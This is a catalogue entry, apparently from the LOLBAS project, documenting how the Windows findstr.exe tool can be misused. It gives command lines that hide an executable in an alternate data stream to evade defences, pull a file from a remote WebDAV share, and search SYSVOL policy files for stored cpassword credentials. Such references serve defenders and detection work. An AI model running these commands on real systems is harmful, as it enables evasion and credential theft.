CatalogLOLBAS

LOL · Binary

Findstr.exe

4 techniquesWindowsLOLBASGPL-3.0

ADS

Defense EvasionFile WriteWindows

Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.

Use Add a file to an alternate data stream to hide from defensive counter measures

findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS

ADS

Defense EvasionFile WriteWindows

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

Use Add a file to an alternate data stream from a webdav server to hide from defensive counter measures

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe
Evidence
Upstream reference
Environment
Local host
Context
user
Native
ADS

Credentials

Credential AccessWindows

Search for stored password in Group Policy files stored on SYSVOL.

Use Find credentials stored in cpassword attrbute

findstr /S /I cpassword \\sysvol\policies\*.xml
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Credentials

Download

File DownloadWindows

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.

Use Download/Copy file from webdav server

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1105